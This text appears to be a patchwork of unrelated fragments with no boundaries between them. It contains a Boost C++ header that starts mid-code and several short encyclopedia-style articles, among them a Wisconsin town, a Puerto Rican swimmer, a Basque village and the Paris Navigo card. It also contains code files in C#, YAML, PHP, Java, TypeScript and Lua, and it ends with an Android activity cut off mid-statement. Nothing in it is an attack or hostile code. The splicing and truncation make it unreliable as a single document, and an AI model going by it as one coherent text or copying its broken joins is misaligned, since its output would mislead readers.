BOOST_NOEXCEPT_IF(vector_type::allocator_traits_type::propagate_on_container_move_assignment::value) #endif { data_ = boost::move(x.data_); front_index_ = x.front_index_; return *this; } bool empty() const BOOST_NOEXCEPT { return data_.size() == front_index_; } size_type size() const BOOST_NOEXCEPT { return data_.size() - front_index_; } reference front() BOOST_NOEXCEPT { return data_[front_index_]; } const_reference front() const BOOST_NOEXCEPT { return data_[front_index_]; } reference back() BOOST_NOEXCEPT { return data_.back(); } const_reference back() const BOOST_NOEXCEPT { return data_.back(); } BOOST_MOVE_CONVERSION_AWARE_CATCH(push_back, T, void, priv_push_back) void pop_front() { ++front_index_; if (empty()) { data_.clear(); front_index_=0; } } }; } } #endif // header ```
Prairie du Chien is a town in Crawford County, Wisconsin, United States. The population was 957 at the 2020 census. The City of Prairie du Chien is located partially within the town. The unincorporated community of White Corners is also located in the town. Geography According to the United States Census Bureau, the town has a total area of 36.3 square miles (94.1 km2), of which is land and is water. The total area is 7.62% water. Demographics At the 2020 census, there were 957 people, 382 households and 245 families residing in the town. The population density was . There were 781 housing units at an average density of . The racial make-up of the town was 97.01% White, 0.1% Black or African American, 0.0% Native American, 0.52% Asian, 0.00% Pacific Islander, 0.21% from other races and 4.18% from two or more races. 1.57% of the population were Hispanic or Latino of any race. There were 382 households, of which 18.06% had children under the age of 18 living with them, 49.7% were married couples living together, 17% had a female householder with no spouse present, and 24.6% had a male householder with no spouse present. 35.9% of all households were made up of individuals and 22.8% had someone living alone who was 65 years of age or older. The average household size was 2.21 and the average family size was 2.88. 19.9% of the population were under the age of 18, 5.7% from 18 to 24, 13% from 25 to 44, 35.5% from 45 to 64, and 25.8% were 65 years of age or older. The median age was 51 years. For every 100 females, there were 94.1 males. The median household income was $56,250 and the median family income was $81,771. The per capita income was $33,629. 13.7% of the population and 6.2% of families were below the poverty line. 24.1% of those under the age of 18 and 11.3% of those 65 and older were living below the poverty line. References Towns in Crawford County, Wisconsin Towns in Wisconsin
Kristina Lennox-Silva (born April 24, 1985 in Fort Lauderdale, Florida) is a female freestyle and butterfly swimmer from Puerto Rico, who was born in the United States. During her college career she swam for Villanova University and was a multiple time Big East finalist as well earning her All-Big East status. She represented Puerto Rico at the 2008 Summer Olympics in Beijing, China and 2009 World Aquatics Championships in Rome, Italy. She is the sister of Douglas Lennox-Silva, who also competed as a swimmer at the 2008 Summer Olympics and 2009 World Championships. Kristina graduated from Villanova University majoring in communications and Spanish. References Profile Villanova Profile 1985 births Living people Female butterfly swimmers Puerto Rican female freestyle swimmers Puerto Rican female swimmers Swimmers at the 2008 Summer Olympics Olympic swimmers for Puerto Rico Sportspeople from Fort Lauderdale, Florida
Samuel Austin Kendall (November 1, 1859 – January 8, 1933) was a Republican member of the U.S. House of Representatives from Pennsylvania. Biography Samuel A. Kendall was born in Greenville Township, Pennsylvania. He attended the public schools and was a student for some time at Valparaiso, Indiana, and at Mount Union College in Alliance, Ohio. He taught school from 1876 to 1890 and served five years as superintendent of the public schools of Jefferson, Iowa. He returned to Somerset County, Pennsylvania, in 1890 and engaged in the lumber business and the mining of coal. He was vice president of the Kendall Lumber Co. of Pittsburgh, and president of the Preston Railroad Co. He served as member of the Pennsylvania State House of Representatives from 1899 to 1903. Kendall was elected as a Republican to the Sixty-sixth and to the six succeeding Congresses and served until his death. He had been unsuccessful for reelection in 1932, and died of a self-inflicted gunshot wound in the House Office Building in Washington, D.C., before his successor J. Buell Snyder was sworn in. Interment in Hochstetler Cemetery, Greenville Township, Somerset County, Pennsylvania. See also List of United States Congress members who died in office (1900–49) References Sources The Political Graveyard External links Republican Party members of the Pennsylvania House of Representatives Schoolteachers from Iowa People from Somerset County, Pennsylvania American politicians who committed suicide University of Mount Union alumni Suicides by firearm in Washington, D.C. 1859 births 1933 suicides 1933 deaths Republican Party members of the United States House of Representatives from Pennsylvania People from Valparaiso, Indiana People from Jefferson, Iowa Educators from Pennsylvania Educators from Indiana
```smalltalk // The .NET Foundation licenses this file to you under the MIT license. namespace Microsoft.DotNet.CommandFactory { public class CommandSpec { public CommandSpec( string path, string args, Dictionary<string, string> environmentVariables = null) { Path = path; Args = args; EnvironmentVariables = environmentVariables ?? new Dictionary<string, string>(); } public string Path { get; } public string Args { get; } public Dictionary<string, string> EnvironmentVariables { get; } internal void AddEnvironmentVariablesFromProject(IProject project) { foreach (var environmentVariable in project.EnvironmentVariables) { EnvironmentVariables.Add(environmentVariable.Key, environmentVariable.Value); } } } } ```
The Lee & Rose Warner Coliseum is a 5,000-seat indoor arena in Falcon Heights, Minnesota, United States. Built in 1951 on the grounds of the Minnesota State Fair, the venue hosts indoor events of the fair such as livestock shows, dog shows, equestrian and bull riding. During the fair, vendors selling merchandise such as Western wear fill the concourse. History The original structure on the site, the St. Paul Hippodrome, was built in 1906 and housed an indoor ice rink from 1909 to 1942. The building fell into disrepair after being used as a military aircraft propeller plant during World War II. The current structure was built in 1951 in an Art Deco style consistent with other fairgrounds buildings of the era. It continued to be known as the Hippodrome until 1975 when it was renamed Coliseum. The arena was renamed Lee & Rose Warner Coliseum in 2006. Lee Warner was Vice President of the Minnesota State Agricultural Society Board of Managers, which oversees the Minnesota State Fair, from 1919 to 1944. On October 6, 1962, President John F. Kennedy spoke at the arena to campaign for Democratic candidates in the upcoming congressional election. Beginning in the mid-1970s, the arena became popular in the winter months as a venue for high school and college ice hockey, hosting up to five games per week through the 1980s. The University of St. Thomas men's hockey team played its home games at the coliseum from 1976 until 2003. With expensive repairs needed to the arena's ice-making equipment and decline in usage, the final hockey game was played there in 2014. The arena has also hosted professional sports, including the Minnesota Monsters, St. Paul Fighting Saints, and North Star Roller Derby. Gallery References Buildings and structures in Ramsey County, Minnesota Indoor arenas in Minnesota Indoor ice hockey venues in Minneapolis–Saint Paul Sports venues completed in 1951 1951 establishments in Minnesota Minnesota State Fair
```yaml category: Data Enrichment & Threat Intelligence commonfields: id: Group-IB Threat Intelligence & Attribution Feed version: -1 configuration: - additionalinfo: The FQDN/IP the integration should connect to. defaultvalue: path_to_url display: GIB TI URL name: url required: true type: 0 - additionalinfo: The API Key and Username required to authenticate to the service. display: Username name: credentials required: true type: 9 - additionalinfo: Whether to allow connections without verifying SSL certificates validity. display: Trust any certificate (not secure) name: insecure type: 8 required: false - additionalinfo: Whether to use XSOAR system proxy settings to connect to the API. display: Use system proxy settings name: proxy type: 8 required: false - additionalinfo: Incremental feeds pull only new or modified indicators that have been sent from the integration. The determination if the indicator is new or modified happens on the 3rd-party vendor's side, so only indicators that are new or modified are sent to Cortex XSOAR. Therefore, all indicators coming from these feeds are labeled new or modified. defaultvalue: 'true' display: Incremental feed hidden: true name: feedIncremental type: 8 required: false - defaultvalue: 'true' display: Fetch indicators name: feed type: 8 required: false - additionalinfo: Indicators from this integration instance will be marked with this reputation defaultvalue: Suspicious display: Indicator Reputation name: feedReputation options: - None - Good - Suspicious - Bad type: 18 required: false - additionalinfo: Reliability of the source providing the intelligence data defaultvalue: A - Completely reliable display: Source Reliability name: feedReliability options: - A - Completely reliable - B - Usually reliable - C - Fairly reliable - D - Not usually reliable - E - Unreliable - F - Reliability cannot be judged required: true type: 15 - defaultvalue: '1' display: Feed Fetch Interval name: feedFetchInterval type: 19 required: false - additionalinfo: When selected, the exclusion list is ignored for indicators from this feed. This means that if an indicator from this feed is on the exclusion list, the indicator might still be added to the system. display: Bypass exclusion list name: feedBypassExclusionList type: 8 required: false - additionalinfo: Collections List to include for fetching. display: Indicator collections name: indicator_collections options: - compromised/mule - compromised/imei - attacks/ddos - attacks/deface - attacks/phishing - attacks/phishing_kit - hi/threat - apt/threat - osi/vulnerability - suspicious_ip/tor_node - suspicious_ip/open_proxy - suspicious_ip/socks_proxy - malware/cnc - ioc/common type: 16 required: false hidden: false - additionalinfo: Date to start fetching indicators from. defaultvalue: 3 days display: Indicator first fetch name: indicators_first_fetch type: 0 required: false hidden: false - additionalinfo: A number of requests per collection that integration sends in one fetch iteration (each request picks up to 200 objects with different amount of indicators). If you face some runtime errors, lower the value. defaultvalue: '2' display: Number of requests per collection name: requests_count options: - '1' - '2' - '3' - '4' - '5' type: 15 required: false hidden: false - additionalinfo: Supports CSV values. display: Tags name: feedTags type: 0 required: false - additionalinfo: The Traffic Light Protocol (TLP) designation to apply to indicators fetched from the feed display: Traffic Light Protocol Color name: tlp_color options: - RED - AMBER - GREEN - WHITE type: 15 required: false - display: '' name: feedExpirationPolicy type: 17 options: - never - interval - indicatorType - suddenDeath - display: '' name: feedExpirationInterval type: 1 required: false description: Use Group-IB Threat Intelligence Feed integration to fetch IOCs from various Group-IB collections. display: Group-IB Threat Intelligence Feed name: Group-IB Threat Intelligence & Attribution Feed script: commands: - arguments: - auto: PREDEFINED description: GIB Collection to get indicators from. name: collection predefined: - compromised/mule - compromised/imei - attacks/ddos - attacks/deface - attacks/phishing - attacks/phishing_kit - hi/threat - apt/threat - osi/vulnerability - suspicious_ip/tor_node - suspicious_ip/open_proxy - suspicious_ip/socks_proxy - malware/cnc - ioc/common required: true default: false isArray: false secret: false - description: Incident Id to get indicators(if set, all the indicators will be provided from particular incident). name: id default: false isArray: false required: false secret: false - auto: PREDEFINED default: true defaultValue: '50' description: Limit of indicators to display in War Room. name: limit predefined: - '10' - '20' - '30' - '40' - '50' isArray: false required: false secret: false description: Get limited count of indicators for specified collection and get all indicators from particular events by id. name: gibtia-get-indicators deprecated: false execution: false dockerimage: demisto/python3:3.10.13.80593 feed: true runonce: false script: '-' subtype: python3 type: python isfetch: false longRunning: false longRunningPort: false tests: - No tests (auto formatted) fromversion: 6.0.0 ```
Rhipidolestes okinawanus is a species of damselfly in the family Rhipidolestidae. It is endemic to Japan. References Insects of Japan Calopterygoidea Insects described in 1951 Taxonomy articles created by Polbot
Audrey Ann Fagan (23 June 1962 – 20 April 2007) was an Australian police officer, who, between 2005 and 2007, held the rank of Assistant Commissioner and served as the Chief Police Officer of Australian Capital Territory (ACT) Policing, which includes community policing responsibilities for Canberra and other parts of the ACT. Fagan was awarded the Australian Police Medal in 2004 and died in office, having committed suicide by hanging while on vacation. Early years and background Fagan was born in Ireland in 1962. Fagan and her parents, Arthur and Jenny, emigrated to South Australia in 1971, when Fagan was nine. She joined the Australian Federal Police (AFP) in 1981, at the age of 18. Death On the 20th of April 2007, Fagan committed suicide while holidaying on Queensland's Hayman Island. She was found hanged. The Queensland Police investigated her death and concluded there were no suspicious circumstances. Assistant Commissioner Fagan was under scrutiny over the treatment of detainees in Canberra police cells after the ACT Ombudsman revealed details in February of a joint review to examine procedures in Canberra's watch house. It followed complaints made to the Ombudsman relating to the treatment of intoxicated detainees and those with a disability, failure to provide timely medical treatment and theft of property. Two weeks before her death, Jack Waterford, the editor-at-large of The Canberra Times, wrote an editorial highly critical of the management of the AFP at that time, in which he opined that the ACT was "receiving a second-rate service at Rolls-Royce cost" and suggested that ACT Policing "was a complacent and unaccountable organisation of no great competence which is wide open to and may have already been percolated by corruption", allegations which were picked up by other ACT media outlets, including the ABC. AFP Commissioner Mick Keelty confirmed that Assistant Commissioner Fagan had felt under pressure as a result of the latest media attention and had sought professional support. Fagan is survived by her second husband Chris Rowell, daughter Clair from her previous marriage to Andrew Phillips, and two step-children, Glen Charles Rowell and Carly. A funeral with full police honours was held at St. Christopher's Cathedral, Manuka on the 27th of April 2007, after which Fagan was interred at a private family ceremony. References External links 1962 births 2007 deaths Australian Federal Police Chief Police Officers of ACT Policing Irish emigrants to Australia People from the Australian Capital Territory Suicides by hanging in Australia Suicides in Queensland Recipients of the Australian Police Medal 2007 suicides Police officers from County Dublin
```php <?php /* * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the */ namespace Google\Service\Eventarc; class AuditConfig extends \Google\Collection { protected $collection_key = 'auditLogConfigs'; protected $auditLogConfigsType = AuditLogConfig::class; protected $auditLogConfigsDataType = 'array'; /** * @var string */ public $service; /** * @param AuditLogConfig[] */ public function setAuditLogConfigs($auditLogConfigs) { $this->auditLogConfigs = $auditLogConfigs; } /** * @return AuditLogConfig[] */ public function getAuditLogConfigs() { return $this->auditLogConfigs; } /** * @param string */ public function setService($service) { $this->service = $service; } /** * @return string */ public function getService() { return $this->service; } } // Adding a class alias for backwards compatibility with the previous class name. class_alias(AuditConfig::class, 'Google_Service_Eventarc_AuditConfig'); ```
```java package com.ctrip.platform.dal.dao.datasource.read.param; import java.sql.PreparedStatement; import java.sql.SQLException; import java.sql.SQLXML; /** * */ public class SQLXMLParamContext extends ParamContext { private static final long serialVersionUID = -3225485567882941489L; /** * @param index * @param values */ public SQLXMLParamContext(int index, Object[] values) { super(index, values); } /* * (non-Javadoc) * */ @Override public void setParam(PreparedStatement stmt) throws SQLException { stmt.setSQLXML(index, (SQLXML) values[0]); } } ```
```java package com.example.fsa.services; import software.amazon.awssdk.core.async.AsyncRequestBody; import software.amazon.awssdk.core.async.BlockingInputStreamAsyncRequestBody; import software.amazon.awssdk.regions.Region; import software.amazon.awssdk.services.s3.S3AsyncClient; import software.amazon.awssdk.services.s3.model.S3Exception; import software.amazon.awssdk.transfer.s3.S3TransferManager; import software.amazon.awssdk.transfer.s3.model.Upload; import java.io.IOException; import java.io.InputStream; public class S3Service { private static S3AsyncClient s3AsyncClient; private static synchronized S3AsyncClient getS3AsyncClient() { if (s3AsyncClient == null) { s3AsyncClient = S3AsyncClient.crtBuilder() .region(Region.US_EAST_1) .build(); } return s3AsyncClient; } // Put the audio file into the Amazon S3 bucket. public String putAudio(InputStream is, String bucketName, String key) throws S3Exception, IOException { try { S3TransferManager transferManager = S3TransferManager.builder() .s3Client(getS3AsyncClient()) .build(); BlockingInputStreamAsyncRequestBody body = AsyncRequestBody.forBlockingInputStream(null); // 'null' // indicates a // stream will be // provided later. Upload upload = transferManager.upload(builder -> builder .requestBody(body) .putObjectRequest(req -> req.bucket(bucketName).key(key)) .build()); body.writeInputStream(is); upload.completionFuture().join(); return key; } catch (S3Exception e) { System.err.println(e.getMessage()); throw e; } } } ```
```xml import { WebApplication } from '@/Application/WebApplication' import { Action, SNNote } from '@standardnotes/snjs' import { useCallback, useEffect, useState } from 'react' import Icon from '@/Components/Icon/Icon' import { ListedMenuGroup } from './ListedMenuGroup' import ListedMenuItem from './ListedMenuItem' import Spinner from '@/Components/Spinner/Spinner' import MenuSection from '@/Components/Menu/MenuSection' type ListedActionsMenuProps = { application: WebApplication note: SNNote } const ListedActionsMenu = ({ application, note }: ListedActionsMenuProps) => { const [menuGroups, setMenuGroups] = useState<ListedMenuGroup[]>([]) const [isFetchingAccounts, setIsFetchingAccounts] = useState(true) const [isAuthorized, setIsAuthorized] = useState(false) useEffect(() => { const authorize = async () => { if (!application.listed.isNoteAuthorizedForListed(note)) { await application.listed.authorizeNoteForListed(note) } setIsAuthorized(application.listed.isNoteAuthorizedForListed(note)) } void authorize() }, [application, note]) const reloadMenuGroup = useCallback( async (group: ListedMenuGroup) => { if (!isAuthorized) { return } const updatedAccountInfo = await application.listed.getListedAccountInfo(group.account, note.uuid) if (!updatedAccountInfo) { return } const updatedGroup: ListedMenuGroup = { name: updatedAccountInfo.display_name, account: group.account, actions: updatedAccountInfo.actions as Action[], } const updatedGroups = menuGroups.map((group) => { if (updatedGroup.account.authorId === group.account.authorId) { return updatedGroup } else { return group } }) setMenuGroups(updatedGroups) }, [application, menuGroups, note, isAuthorized], ) useEffect(() => { const fetchListedAccounts = async () => { if (!application.hasAccount()) { setIsFetchingAccounts(false) return } if (!isAuthorized) { return } try { const listedAccountEntries = await application.listed.getListedAccounts() if (!listedAccountEntries.length) { throw new Error('No Listed accounts found') } const menuGroups: ListedMenuGroup[] = [] await Promise.all( listedAccountEntries.map(async (account) => { const accountInfo = await application.listed.getListedAccountInfo(account, note.uuid) if (accountInfo) { menuGroups.push({ name: accountInfo.display_name, account, actions: accountInfo.actions as Action[], }) } else { menuGroups.push({ name: account.authorId, account, actions: [], }) } }), ) setMenuGroups( menuGroups.sort((a, b) => { return a.name.toString().toLowerCase() < b.name.toString().toLowerCase() ? -1 : 1 }), ) } catch (err) { console.error(err) } finally { setIsFetchingAccounts(false) } } void fetchListedAccounts() }, [application, note.uuid, isAuthorized]) if (!isAuthorized) { return null } return ( <> {isFetchingAccounts && ( <div className="flex w-full items-center justify-center p-4"> <Spinner className="h-5 w-5" /> </div> )} {!isFetchingAccounts && menuGroups.length ? ( <> {menuGroups.map((group) => ( <MenuSection key={group.account.authorId} title={ <div className="flex items-center"> <Icon type="notes" className="mr-2 text-info" /> {group.name} </div> } > {group.actions.length ? ( group.actions.map((action) => ( <ListedMenuItem action={action} note={note} key={action.url} group={group} application={application} reloadMenuGroup={reloadMenuGroup} /> )) ) : ( <div className="select-none px-3 py-2 text-sm text-passive-0">No actions available</div> )} </MenuSection> ))} </> ) : null} {!isFetchingAccounts && !menuGroups.length ? ( <div className="flex w-full items-center justify-center px-4 py-6"> <div className="select-none text-sm text-passive-0">No Listed accounts found</div> </div> ) : null} </> ) } export default ListedActionsMenu ```
Sare (; ) is a village and a commune in the Pyrénées-Atlantiques department in south-western France on the border with Spain. It is part of the traditional Basque province of Labourd. Geography The commune is backed by the Pyrenees mountain range, which forms a basin around the village open to the east and the north. Its geological history explains the formation of caves that were occupied by the Aurignacian. The Bronze Age left a number of funerary monuments on the slopes and mountain plateaus of the region. It is located some to the east of Saint-Jean-de-Luz and the Bay of Biscay, in the western foothills of the Pyrenees. The summit of La Rhune, a mountain iconic of the Basque country, is situated approximately to the west of the village. The summit can be reached by the Petit train de la Rhune, which commences from the Col de Saint-Ignace, to the west of the village on the D4 road to Saint-Jean-de-Luz. History Today, its territory forms an enclave in the Navarre, a region of Spain, with which it shares a border. This in particular has had significant consequences on the history of the village, with centuries of pastoral agreements with neighbouring Spanish villages. During the Peninsular War the Anglo-Portuguese Army led by the future Duke of Wellington breached the frontier and repelled the French troops who had stationed themselves in forts on La Rhune. The village contains many old buildings with around 283 houses identified by as dating partially as far back as the 15th century. The traditional architecture of these buildings, their exterior decorations and the orientation defines the archetype of the rural house that exists in the popular image of the "Basque House". Demography The population of Sare has remained stable for 200 years. Since 1793 the only real development that has occurred began in 1990, and the population reached more than 2500 people in the 2010s. Economy Agricultural activity remains a constant element of the town's economy, even though the location has hosted mining industries since the Middle Ages, and more recently a wool treatment mill. The proximity of the border with Spain, and the configuration of the terrain and the roadways, as well as the shared Basque languages, have given birth to a local economy shared between Spain and France, characterised by smuggling. Tourist attractions Following are the famous places to see in Sare, Basque: Le Train de la Rhune Les Grottes de Sare Le Musee du Gateau Basque Parc Animalier Etxola Ortillopitz Eglise Saint-Martin de Sare Office de Tourisme de Sare Basq'quad Bask Peche Nature Suhalmendi, Decouverte du Porc Basque People Alberto Palacio, Spanish engineer Wentworth Webster, English collector of Basque folk tales Victor Iturria, WWII decorated hero See also Communes of the Pyrénées-Atlantiques department Devoucoux End of Basque home rule in France The works of Maxime Real del Sarte Treaties of Good Correspondence References Communes of Pyrénées-Atlantiques Plus Beaux Villages de France Pyrénées-Atlantiques communes articles needing translation from French Wikipedia
```lua This program is free software; you can redistribute it and/or modify (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. ]] local debug_observations = require 'decorators.debug_observations' local factory = require 'factories.lasertag.factory' local make_map = require 'common.make_map' local maze_generation = require 'dmlab.system.maze_generation' local game = require 'dmlab.system.game' local events = require 'dmlab.system.events' local image = require 'dmlab.system.image' local colors = require 'common.colors' local MAP = [[ ************************* *P *P *P *P *P *P *P *P * * * ************************* ]] local api = factory.createLevelApi{ episodeLengthSeconds = 60 * 5, botCount = 6, } local spawnCount = 1 function api:updateSpawnVars(spawnVars) if spawnVars.classname == 'info_player_start' then -- Spawn facing East. spawnVars.angle = '0' spawnVars.randomAngleRange = '0' -- Make Bot spawn on first 'P' and player on second 'P'. spawnVars.nohumans = spawnCount > 1 and '1' or '0' spawnVars.nobots = spawnCount == 1 and '1' or '0' spawnCount = spawnCount + 1 end return spawnVars end function api:nextMap() api._botColors = {} local maze = maze_generation:mazeGeneration{entity = MAP} debug_observations.setMaze(maze) return make_map.makeMap{ mapName = 'two_players', mapEntityLayer = MAP, allowBots = true, } end local characterSkinData local function characterSkins() if not characterSkinData then local playerDir = game:runFiles() .. '/baselab/game_scripts/player/' characterSkinData = { image.load(playerDir .. 'dm_character_skin_mask_a.png'), image.load(playerDir .. 'dm_character_skin_mask_b.png'), image.load(playerDir .. 'dm_character_skin_mask_c.png'), } end return characterSkinData end local function updateSkin(playerSkin, rgbs) local skins = characterSkins() for i, charachterSkin in ipairs(skins) do local r, g, b = unpack(rgbs[i]) local skinC = charachterSkin:clone() skinC:select(3, 1):mul(r / 255.0) skinC:select(3, 2):mul(g / 255.0) skinC:select(3, 3):mul(b / 255.0) playerSkin:cadd(skinC) end end function api:playerModel(playerId, playerName) if playerId == 1 then return "crash_color" elseif playerId < 9 then return 'crash_color/skin' .. playerId - 1 end return "crash" end function api:newClientInfo(playerId, playerName, playerModel) local rgb = {colors.hsvToRgb(playerId * 40, 1.0, 1.0)} local _, _, id = string.find(playerModel, 'crash_color/skin(%d*)') id = id and id + 1 or 1 api._botColors[id] = rgb events:add('newClientInfo' .. id) end local modifyTexture = api.modifyTexture function api:modifyTexture(name, texture) local _, _, id = string.find(name, 'models/players/crash_color/skin_base(%d*).tga') if id then if id == '' then id = 1 else id = tonumber(id) + 1 end local rgb = api._botColors[id] updateSkin(texture, {rgb, rgb, rgb}) events:add('skinModified' .. id) return true end return modifyTexture and modifyTexture(self, texture) or false end return api ```
William Bustard (1894–1973) was an artist in Queensland, Australia. His stained glass work features in many heritage-listed buildings. Early life William Bustard was born in 1894 in Terrington, Malton, Yorkshire, England. Living close to the York Minster, he was influenced by its stained glass work and music. He studied at the Scarborough Art School and won a scholarship to the Slade School of Fine Art in London. During World War I, Bustard served in the Royal Army Medical Corps in Greece and Italy. During his war service, he contracted tuberculosis. He immigrated in 1921 to Queensland, Australia where his health recovered. During World War II, Bustard served in the Citizen Military Forces developing camouflage at RAAF bases. He was posted to Gayndah and Townsville where he disguised the appearance of Inland Aircraft Fuel Depots to look like farms. Artist career In order to make a living, he undertook a range of artistic work, including teaching and commissions. He illustrated books, including Robinson Crusoe (1949) and Treasure Island (1956). He drew pictures for advertisements, including for: the Canberra Hotel in Brisbane His stained glass work can be found in: Saint Mary's Catholic Church, Maryborough, Queensland Church of Saint Ignatius Loyola in Toowong, Brisbane St Thomas Church of England in Toowong, Brisbane Kurrowah, a mansion in Dutton Park, Brisbane St Pauls Presbyterian Church, Spring Hill, Brisbane RS Exton and Co Building in Brisbane St Brigids Catholic Church, in Rosewood St Barnabas Anglican Church, Red Hill St. Stephen's Uniting Church, Toowoomba During World War II, Later life William Bustard died on 24 August 1973 in Southport, Queensland. Exhibitions Major exhibitions of his work include: 1931 1945: Brisbane 1950: Finney's Art Gallery, Brisbane 1983: Brisbane Civic Art Gallery and Museum 2015–2016: Museum of Brisbane Painting with Light: an exhibition of the works of William Bustard from June 2015 to January 2016 (over 70 original works) References Further reading External links 20th-century Australian artists 1894 births 1973 deaths Artists from Queensland Alumni of the Slade School of Fine Art Australian glass artists British emigrants to Australia People from Terrington
The Navigo pass () is a family of contactless smart cards that can be used for payment in public transportation in Paris and the Île-de-France region. It was first introduced on 1 October 2001. The cards are implemented as contactless smart cards using the Calypso standard, initially with Radio-frequency identification (RFID), then Near-field communication (NFC) since 9 December 2013, and enables authenticated access at turnstiles by scanning the card at an electronic reader. Cards can be loaded with tickets and passes at staffed counters and at ticket vending machines. Since July 2018, they can also be recharged directly using a smartphone. Certain Android smartphones can be used in place of Navigo passes using the Île-de-France Mobilités app, allowing validation at Navigo card readers using NFC functionality. System Three versions of the Navigo card are available. Navigo The Navigo pass is available to those who live or work in the Île-de-France region. The name and a photograph of the holder are printed on the card. It is available for free. The card can be loaded with daily, weekly, monthly, and annual passes. The cards can also be used for identification on the Vélib' bicycle rental system. Navigo Liberté+ The Navigo card can also be connected to the Navigo Liberté+ service, which allows users to flexibly take single trips, which will be billed and debited from the user's bank account at the end of each month. Trips are charged at a discounted rate of €1.69 (equivalent to a tenth of the cost of a carnet when loaded onto Navigo Easy), and capped at a maximum payment of €8.45 per day (the cost of a day ticket). Unlike a ticket t+, users can transfer from the métro/RER to the bus/tram network (or vice versa) within 90 minutes without paying a second fare. The service does not allow the use of the train network beyond the city limits of Paris (zone 1). Navigo Découverte The Navigo Découverte pass is available to everyone, and is not limited to residents of Île-de-France. The card is purchased (with no travel enabled) for a one-time fee of €5 at staffed ticket counters, and is sold together with a cardboard wrapper and a plastic holder. The user needs to write their name on the cardboard wrapper and attach a passport photo. Navigo Découverte has the same features as the Navigo pass, except that it cannot hold annual passes and is not eligible for Navigo Liberté+. Travel may be added to the pass for one week (Navigo Semaine, €30) or monthly (Navigo Mois €84). Navigo Easy The Navigo Easy pass is available to everyone at a cost of €2 at staffed ticket counters and select ticket vending machines. It does not need to be personalized with name or photo. It can hold the ticket t+ for single trips, daily tickets, and tickets for the Roissybus and Orlybus airport shuttle buses. Longer-term passes, single tickets for rail trips outside Paris city limits (billet origine-destination) and the Paris Visite tourist tickets cannot be loaded onto Navigo Easy. History When the system was introduced in 2001, it was only available to subscribers of the Carte Intégrale annual pass. In 2003, it was increased to users of the Carte Imagine'R student pass. From end 2004, the Navigo card was available for travel within zones one and two of the Paris transportation region for Carte orange weekly and monthly passes, then in all bus and tramways from January 2005 to January 2006. Since 20 May 2006, it has been possible to use the card in all means of transport and in the entirety of the Île-de-France region in place of the magnetic paper tickets of the conventional Carte orange, which was completely discontinued in February 2009. In July 2007, the Navigo card became compatible with Vélib', the bicycle-sharing system of the City of Paris. From 2011, the card could also be used with the Autolib electric car-sharing service, until they ceased operations in 2018 and were replaced by Mobilib'. On 1 September 2007, the Carte Navigo Découverte replaced the former equivalent version of the Carte Orange issued on the spot to anyone at a station without registration and in particular to the tourists not residing in the Île-de-France region. On 9 December 2013, the Navigo card was redesigned by Philippe Starck and used NFC technology instead of RFID. Since 1 January 2018, it is possible to load daily tickets (which in paper form were called Mobilis) onto Navigo cards. Navigo Easy was introduced on 12 June 2019, and the Navigo Liberté+ subscription service was introduced on 13 November 2019. Based on tests starting in July 2018 (then restricted to 8,000 users with Samsung Galaxy phones operated by Orange), from 25 September 2019, it became possible to pay for and load tickets on Navigo cards using the NFC functionality on smartphones. Alternatively, Android smartphones can since then be directly used to validate a ticket at turnstiles. References External links Île-de-France Mobilités website about available ticket media Fare collection systems in France Transport in Île-de-France Contactless smart cards
```java package com.luseen.spacenavigationview; import android.graphics.Color; import android.os.Bundle; import android.support.v4.content.ContextCompat; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.GridLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.Toast; import com.luseen.spacenavigation.SpaceItem; import com.luseen.spacenavigation.SpaceNavigationView; import com.luseen.spacenavigation.SpaceOnClickListener; import com.luseen.spacenavigation.SpaceOnLongClickListener; import java.util.ArrayList; import java.util.List; public class ActivityWithBadge extends AppCompatActivity { private SpaceNavigationView spaceNavigationView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_badge); Button btnShowBadge = (Button) findViewById(R.id.btnBadge); btnShowBadge.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { spaceNavigationView.shouldShowFullBadgeText(true); spaceNavigationView.showBadgeAtIndex(0, 2, Color.RED); spaceNavigationView.showBadgeAtIndex(1, 3, Color.DKGRAY); spaceNavigationView.showBadgeAtIndex(2, 4, Color.MAGENTA); spaceNavigationView.showBadgeAtIndex(3, 23, Color.BLUE); } }); spaceNavigationView = (SpaceNavigationView) findViewById(R.id.space); spaceNavigationView.initWithSaveInstanceState(savedInstanceState); spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_first,"HOME", R.drawable.account)); spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_second, "SEARCH", R.drawable.magnify)); spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_third, "HOME", R.drawable.account)); spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_forth, "SEARCH", R.drawable.magnify)); spaceNavigationView.shouldShowFullBadgeText(false); spaceNavigationView.setCentreButtonId(R.id.navigation_centre); spaceNavigationView.setCentreButtonIconColorFilterEnabled(false); spaceNavigationView.setSpaceOnClickListener(new SpaceOnClickListener() { @Override public void onCentreButtonClick() { Log.d("onCentreButtonClick ", "onCentreButtonClick"); } @Override public void onItemClick(int itemIndex, String itemName) { Log.d("onItemClick ", "" + itemIndex + " " + itemName); } @Override public void onItemReselected(int itemIndex, String itemName) { Log.d("onItemReselected ", "" + itemIndex + " " + itemName); } }); spaceNavigationView.setSpaceOnLongClickListener(new SpaceOnLongClickListener() { @Override public void onCentreButtonLongClick() { Toast.makeText(ActivityWithBadge.this, "onCentreButtonLongClick", Toast.LENGTH_SHORT).show(); } @Override public void onItemLongClick(int itemIndex, String itemName) { Toast.makeText(ActivityWithBadge.this, itemIndex + " " + itemName, Toast.LENGTH_SHORT).show(); } }); spaceNavigationView.showIconOnly(); setUpRecyclerView(); } @Override protected void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); spaceNavigationView.onSaveInstanceState(outState); } private void setUpRecyclerView() { RecyclerView recyclerView = (RecyclerView) findViewById(R.id.recyclerView); RecyclerAdapter adapter = new RecyclerAdapter(dummyStrings()); 